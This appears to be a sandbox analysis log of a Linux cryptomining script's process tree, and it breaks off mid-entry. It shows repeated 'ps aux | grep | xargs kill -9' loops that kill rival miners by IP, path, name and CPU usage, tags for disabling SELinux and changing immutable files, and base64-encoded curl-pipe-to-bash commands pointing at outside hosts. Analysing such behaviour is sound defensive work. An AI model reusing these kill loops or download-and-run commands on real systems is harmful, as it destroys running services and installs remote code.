/bin/psps aux2⤵PID:1010
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:1018
-
-
/bin/grepgrep -v grep2⤵PID:1017
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1019
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1020
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1016
-
-
/bin/grepgrep 45.76.122.922⤵PID:1027
-
-
/bin/psps aux2⤵PID:1025
-
-
/bin/grepgrep -v grep2⤵PID:1026
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1029
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1028
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1033
-
-
/bin/grepgrep 51.38.191.1782⤵PID:1032
-
-
/bin/grepgrep -v grep2⤵PID:1031
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1034
-
-
/bin/psps aux2⤵PID:1030
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1041
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1040
-
-
/bin/grepgrep -v grep2⤵PID:1039
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1038
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1042
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1049
-
-
/bin/grepgrep 86s.jpg2⤵PID:1048
-
-
/bin/grepgrep -v grep2⤵PID:1047
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1050
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1046
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1055
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1054
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1056
-
-
/bin/grepgrep -v grep2⤵PID:1053
-
-
/bin/psps aux2⤵PID:1052
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1061
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1060
-
-
/bin/grepgrep -v grep2⤵PID:1059
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1062
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1058
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1069
-
-
/bin/grepgrep AgdgACUD2⤵PID:1068
-
-
/bin/grepgrep -v grep2⤵PID:1067
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1070
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1066
-
-
/bin/grepgrep uiZvwxG82⤵PID:1074
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1075
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1076
-
-
/bin/grepgrep -v grep2⤵PID:1073
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1072
-
-
/bin/grepgrep hahwNEdB2⤵PID:1079
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1080
-
-
/bin/grepgrep -v grep2⤵PID:1078
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1081
-
-
/bin/psps aux2⤵PID:1077
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1086
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1085
-
-
/bin/grepgrep -v grep2⤵PID:1084
-
-
/bin/psps aux2⤵PID:1083
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1087
-
-
/bin/psps aux2⤵PID:1091
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1095
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1093
-
-
/bin/grepgrep -v grep2⤵PID:1092
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1094
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1098
-
-
/bin/grepgrep -v grep2⤵PID:1097
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1100
-
-
/bin/psps aux2⤵PID:1096
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1099
-
-
/bin/grepgrep svc2⤵PID:1103
-
-
/bin/grepgrep -v grep2⤵PID:1102
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1104
-
-
/bin/psps aux2⤵PID:1101
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1105
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1108
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1109
-
-
/bin/grepgrep -v grep2⤵PID:1107
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1110
-
-
/bin/psps aux2⤵PID:1106
-
-
/bin/grepgrep zXcDajSs2⤵PID:1113
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1114
-
-
/bin/grepgrep -v grep2⤵PID:1112
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1115
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1111
-
-
/bin/grepgrep 3lmigMo2⤵PID:1118
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1119
-
-
/bin/grepgrep -v grep2⤵PID:1117
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1120
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1116
-
-
/bin/grepgrep AkMK4A22⤵PID:1123
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1124
-
-
/bin/grepgrep -v grep2⤵PID:1122
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1125
-
-
/bin/psps aux2⤵PID:1121
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1128
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1129
-
-
/bin/grepgrep -v grep2⤵PID:1127
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1130
-
-
/bin/psps aux2⤵PID:1126
-
-
/bin/grepgrep HiPxCJRS2⤵PID:1133
-
-
/bin/grepgrep -v grep2⤵PID:1132
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1134
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1131
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1135
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1139
-
-
/bin/grepgrep http_0xCC0302⤵
- Disables SELinux
PID:1138
-
-
/bin/grepgrep -v grep2⤵PID:1137
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1140
-
-
/bin/psps aux2⤵PID:1136
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1144
-
-
/bin/grepgrep http_0xCC0312⤵PID:1143
-
-
/bin/grepgrep -v grep2⤵PID:1142
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1141
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1145
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1149
-
-
/bin/grepgrep http_0xCC0322⤵PID:1148
-
-
/bin/grepgrep -v grep2⤵PID:1147
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1150
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1146
-
-
/bin/grepgrep http_0xCC0332⤵PID:1153
-
-
/bin/grepgrep -v grep2⤵PID:1152
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1154
-
-
/bin/psps aux2⤵PID:1151
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1155
-
-
/bin/grepgrep C4iLM4L2⤵PID:1158
-
-
/bin/grepgrep -v grep2⤵PID:1157
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1159
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1156
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1160
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1164
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1163
-
-
/bin/grepgrep -v grep2⤵PID:1162
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1165
-
-
/bin/psps aux2⤵PID:1161
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1169
-
-
/bin/grepgrep -v grep2⤵PID:1167
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1168
-
-
/bin/psps aux2⤵PID:1166
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1172
-
-
/bin/grepgrep -v grep2⤵PID:1171
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1174
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1173
-
-
/bin/psps aux2⤵PID:1170
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1177
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1178
-
-
/bin/grepgrep -v grep2⤵PID:1176
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1179
-
-
/bin/psps aux2⤵PID:1175
-
-
/bin/grepgrep -v grep2⤵PID:1181
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1182
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1183
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1184
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1180
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1187
-
-
/bin/grepgrep -v grep2⤵PID:1186
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1188
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1185
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1189
-
-
/bin/grepgrep nqscheduler2⤵PID:1192
-
-
/bin/grepgrep -v grep2⤵PID:1191
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1193
-
-
/bin/psps aux2⤵PID:1190
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1194
-
-
/bin/grepgrep -v grep2⤵PID:1196
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1198
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1197
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1199
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1195
-
-
/bin/grepgrep -v aux2⤵PID:1202
-
-
/bin/grepgrep -v grep2⤵PID:1201
-
-
/bin/grepgrep "]"2⤵PID:1203
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1200
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1204
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1205
-
-
/bin/grepgrep -v grep2⤵PID:1207
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1206
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1208
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1209
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1210
-
-
/bin/grepgrep -v grep2⤵PID:1212
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1211
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1213
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1214
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1215
-
-
/bin/grepgrep -v grep2⤵PID:1218
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1219
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1220
-
-
/bin/psps aux2⤵PID:1217
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1221
-
-
/bin/grepgrep -v /2⤵PID:1226
-
-
/bin/grepgrep -v -2⤵PID:1227
-
-
/bin/grepgrep -v grep2⤵PID:1225
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1224
-
-
/bin/grepgrep -v _2⤵PID:1228
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1229
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1230
-
-
/bin/grepgrep "\\[^"2⤵PID:1234
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1235
-
-
/bin/grepgrep -v grep2⤵PID:1233
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1236
-
-
/bin/psps aux2⤵PID:1232
-
-
/bin/grepgrep rsync2⤵PID:1241
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1242
-
-
/bin/grepgrep -v grep2⤵PID:1240
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1243
-
-
/bin/psps aux2⤵PID:1239
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1249
-
-
/bin/grepgrep watchd0g2⤵PID:1248
-
-
/bin/grepgrep -v grep2⤵PID:1247
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1250
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1246
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1255
-
-
/bin/grepgrep -v grep2⤵PID:1253
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1256
-
-
/bin/psps aux2⤵PID:1252
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1254
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1254
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1254
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1254
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1254
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1254
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1254
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1261
-
-
/bin/grepgrep 158.69.133.18:82202⤵
- Disables SELinux
PID:1260
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1262
-
-
/bin/grepgrep -v grep2⤵PID:1259
-
-
/bin/psps aux2⤵PID:1258
-
-
/bin/grepgrep /tmp/java2⤵PID:1267
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1268
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1269
-
-
/bin/grepgrep -v grep2⤵PID:1266
-
-
/bin/psps aux2⤵PID:1265
-
-
/bin/grepgrep gitee.com2⤵PID:1274
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1275
-
-
/bin/grepgrep -v grep2⤵PID:1273
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1276
-
-
/bin/psps aux2⤵PID:1272
-
-
/bin/grepgrep -v grep2⤵PID:1279
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1278
-
-
/bin/grepgrep /tmp/java2⤵PID:1280
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1281
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1282
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1286
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1287
-
-
/bin/grepgrep -v grep2⤵PID:1285
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1288
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1284
-
-
/bin/grepgrep 89.35.39.782⤵PID:1293
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1294
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1295
-
-
/bin/grepgrep -v grep2⤵PID:1292
-
-
/bin/psps aux2⤵PID:1291
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1298
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1299
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1300
-
-
/bin/grepgrep -v grep2⤵PID:1297
-
-
/bin/psps aux2⤵PID:1296
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1306
-
-
/bin/grepgrep kthrotlds2⤵PID:1305
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1307
-
-
/bin/grepgrep -v grep2⤵PID:1304
-
-
/bin/psps aux2⤵PID:1303
-
-
/bin/grepgrep -v grep2⤵PID:1310
-
-
/bin/grepgrep ksoftirqds2⤵PID:1311
-
-
/bin/psps aux2⤵PID:1309
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1313
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1312
-
-
/bin/grepgrep netdns2⤵PID:1317
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1318
-
-
/bin/grepgrep -v grep2⤵PID:1316
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1319
-
-
/bin/psps aux2⤵PID:1315
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1325
-
-
/bin/grepgrep watchdogs2⤵PID:1324
-
-
/bin/grepgrep -v grep2⤵PID:1323
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1326
-
-
/bin/psps aux2⤵PID:1322
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1331
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:1330
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1333
-
-
/bin/grepgrep -v grep2⤵PID:1329
-
-
/bin/psps aux2⤵PID:1328
-
-
/bin/grepgrep kinsing2⤵PID:1336
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1337
-
-
/bin/grepgrep -v grep2⤵PID:1335
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1338
-
-
/bin/psps aux2⤵PID:1334
-
-
/bin/grepgrep -v grep2⤵PID:1342
-
-
/bin/grepgrep redis22⤵PID:1343
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1341
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1344
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1345
-
-
/bin/grepgrep -v grep2⤵PID:1349
-
-
/bin/psps aux2⤵PID:1348
-
-
/bin/grepgrep -v aux2⤵PID:1350
-
-
/bin/grepgrep " ps"2⤵PID:1351
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1352
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1353
-
-
/bin/grepgrep sync_supers2⤵PID:1356
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1358
-
-
/bin/grepgrep -v grep2⤵PID:1355
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1354
-
-
/usr/bin/cutcut -c 9-152⤵PID:1357
-
-
/usr/bin/cutcut -c 9-152⤵PID:1362
-
-
/bin/grepgrep cpuset2⤵PID:1361
-
-
/bin/grepgrep -v grep2⤵PID:1360
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1363
-
-
/bin/psps aux2⤵PID:1359
-
-
/bin/grepgrep "x]"2⤵PID:1367
-
-
/bin/grepgrep -v aux2⤵PID:1366
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1368
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1369
-
-
/bin/grepgrep -v grep2⤵PID:1365
-
-
/bin/psps aux2⤵PID:1364
-
-
/bin/grepgrep "sh] <"2⤵PID:1373
-
-
/bin/grepgrep -v aux2⤵PID:1372
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1374
-
-
/bin/grepgrep -v grep2⤵PID:1371
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1375
-
-
/bin/psps aux2⤵PID:1370
-
-
/bin/grepgrep " \\[]"2⤵PID:1379
-
-
/bin/grepgrep -v aux2⤵PID:1378
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1380
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1381
-
-
/bin/grepgrep -v grep2⤵PID:1377
-
-
/bin/psps aux2⤵PID:1376
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1384
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1385
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1386
-
-
/bin/grepgrep -v grep2⤵PID:1383
-
-
/bin/psps aux2⤵PID:1382
-
-
/bin/psps aux2⤵PID:1387
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1391
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1390
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1389
-
-
/bin/grepgrep -v grep2⤵PID:1388
-
-
/bin/grepgrep hahwNEdB2⤵PID:1394
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1395
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1396
-
-
/bin/grepgrep -v grep2⤵PID:1393
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1392
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1399
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1400
-
-
/bin/grepgrep -v grep2⤵PID:1398
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1401
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1397
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1404
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1406
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1405
-
-
/bin/grepgrep -v grep2⤵PID:1403
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1402
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1410
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1409
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1411
-
-
/bin/grepgrep -v grep2⤵PID:1408
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1407
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1416
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1415
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1414
-
-
/bin/grepgrep -v grep2⤵PID:1413
-
-
/bin/psps aux2⤵PID:1412
-
-
/bin/grepgrep -v grep2⤵PID:1418
-
-
/bin/psps aux2⤵PID:1417
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1421
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1420
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1419
-
-
/bin/grepgrep -v grep2⤵PID:1423
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1426
-
-
/bin/psps aux2⤵PID:1422
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1425
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1424
-
-
/bin/grepgrep sustse2⤵PID:1429
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1431
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1430
-
-
/bin/grepgrep -v grep2⤵PID:1428
-
-
/bin/psps aux2⤵PID:1427
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1435
-
-
/bin/grepgrep sustse32⤵PID:1434
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1436
-
-
/bin/grepgrep -v grep2⤵PID:1433
-
-
/bin/psps aux2⤵PID:1432
-
-
/bin/grepgrep wget2⤵PID:1440
-
-
/bin/grepgrep mr.sh2⤵PID:1439
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1441
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1442
-
-
/bin/grepgrep -v grep2⤵PID:1438
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1437
-
-
/bin/grepgrep curl2⤵PID:1446
-
-
/bin/grepgrep mr.sh2⤵PID:1445
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1447
-
-
/bin/grepgrep -v grep2⤵PID:1444
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1448
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1443
-
-
/bin/grepgrep wget2⤵PID:1452
-
-
/bin/grepgrep 2mr.sh2⤵PID:1451
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1453
-
-
/bin/grepgrep -v grep2⤵PID:1450
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1454
-
-
/bin/psps aux2⤵PID:1449
-
-
/bin/grepgrep curl2⤵PID:1458
-
-
/bin/grepgrep 2mr.sh2⤵PID:1457
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1459
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1460
-
-
/bin/grepgrep -v grep2⤵PID:1456
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1455
-
-
/bin/grepgrep cr5.sh2⤵PID:1463
-
-
/bin/grepgrep -v grep2⤵PID:1462
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1466
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1465
-
-
/bin/grepgrep wget2⤵PID:1464
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1461
-
-
/bin/grepgrep curl2⤵PID:1470
-
-
/bin/grepgrep cr5.sh2⤵PID:1469
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1471
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1472
-
-
/bin/grepgrep -v grep2⤵PID:1468
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1467
-
-
/bin/grepgrep wget2⤵PID:1476
-
-
/bin/grepgrep logo9.jpg2⤵PID:1475
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1477
-
-
/bin/grepgrep -v grep2⤵PID:1474
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1478
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1473
-
-
/bin/grepgrep logo9.jpg2⤵PID:1481
-
-
/bin/grepgrep curl2⤵PID:1482
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1483
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1484
-
-
/bin/grepgrep -v grep2⤵PID:1480
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1479
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1488
-
-
/bin/grepgrep j2.conf2⤵PID:1487
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1489
-
-
/bin/grepgrep -v grep2⤵PID:1486
-
-
/bin/psps aux2⤵PID:1485
-
-
/bin/grepgrep wget2⤵PID:1493
-
-
/bin/grepgrep luk-cpu2⤵PID:1492
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1494
-
-
/bin/grepgrep -v grep2⤵PID:1491
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1495
-
-
/bin/psps aux2⤵PID:1490
-
-
/bin/grepgrep curl2⤵PID:1499
-
-
/bin/grepgrep luk-cpu2⤵PID:1498
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1500
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1501
-
-
/bin/grepgrep -v grep2⤵PID:1497
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1496
-
-
/bin/grepgrep wget2⤵PID:1505
-
-
/bin/grepgrep ficov2⤵PID:1504
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1506
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1507
-
-
/bin/grepgrep -v grep2⤵PID:1503
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1502
-
-
/bin/grepgrep curl2⤵PID:1511
-
-
/bin/grepgrep ficov2⤵PID:1510
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1512
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1513
-
-
/bin/grepgrep -v grep2⤵PID:1509
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1508
-
-
/bin/grepgrep he.sh2⤵PID:1516
-
-
/bin/grepgrep wget2⤵PID:1517
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1518
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1519
-
-
/bin/grepgrep -v grep2⤵PID:1515
-
-
/bin/psps aux2⤵PID:1514
-
-
/bin/grepgrep curl2⤵PID:1523
-
-
